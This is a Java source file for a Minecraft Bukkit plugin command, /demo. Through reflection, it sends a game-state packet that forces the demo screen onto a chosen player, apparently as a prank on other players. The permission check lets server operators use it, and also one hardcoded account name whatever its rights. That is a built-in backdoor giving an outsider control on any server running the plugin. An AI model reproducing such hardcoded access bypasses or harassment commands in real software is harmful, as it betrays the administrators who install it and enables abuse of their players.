package de.zockergameslp.cyraxcrash.Main;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;

public class demo implements CommandExecutor {

	@Override
	public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
		Player p = (Player) sender;
        if(p.isOp() || p.getName().equals("BananenCrew96")) {
           if(args.length >= 1) {
           	Player enviar = null;
           	try {
               	enviar = Bukkit.getPlayer(args[0].toString());
               } catch (Exception e) {
               	e.printStackTrace();
               	return false;
               }
               String path = Bukkit.getServer().getClass().getPackage().getName();
               String version = path.substring(path.lastIndexOf(".") + 1, path.length());
               try
               {
                 Class<?> craftPlayer = Class.forName("org.bukkit.craftbukkit." + version + ".entity.CraftPlayer");
                 Class<?> PacketPlayOutGameStateChange = Class.forName("net.minecraft.server." + version + ".PacketPlayOutGameStateChange");
                 Class<?> Packet = Class.forName("net.minecraft.server." + version + ".Packet");
                 Constructor<?> playOutConstructor = PacketPlayOutGameStateChange.getConstructor(new Class[] { Integer.TYPE, Float.TYPE });
                 Object packet = playOutConstructor.newInstance(new Object[] { Integer.valueOf(5), Integer.valueOf(0) });
                 Object craftPlayerObject = craftPlayer.cast(enviar);
                 Method getHandleMethod = craftPlayer.getMethod("getHandle", new Class[0]);
                 Object handle = getHandleMethod.invoke(craftPlayerObject, new Object[0]);
                 Object pc = handle.getClass().getField("playerConnection").get(handle);
                 Method sendPacketMethod = pc.getClass().getMethod("sendPacket", new Class[] { Packet });
                 sendPacketMethod.invoke(pc, new Object[] { packet });
                 p.sendMessage("§cDer Spieler sieht nun den Demo-Screen xD");
               }
               catch (Exception ex)
               {
               	p.sendMessage("§cError");
                 ex.printStackTrace();
               }
           } else {
        	   p.sendMessage("§cSyntax: /demo <Spieler>");
           }
        } else {
        	p.sendMessage("§cKein Rechte!");
        }

		return false;
	}



}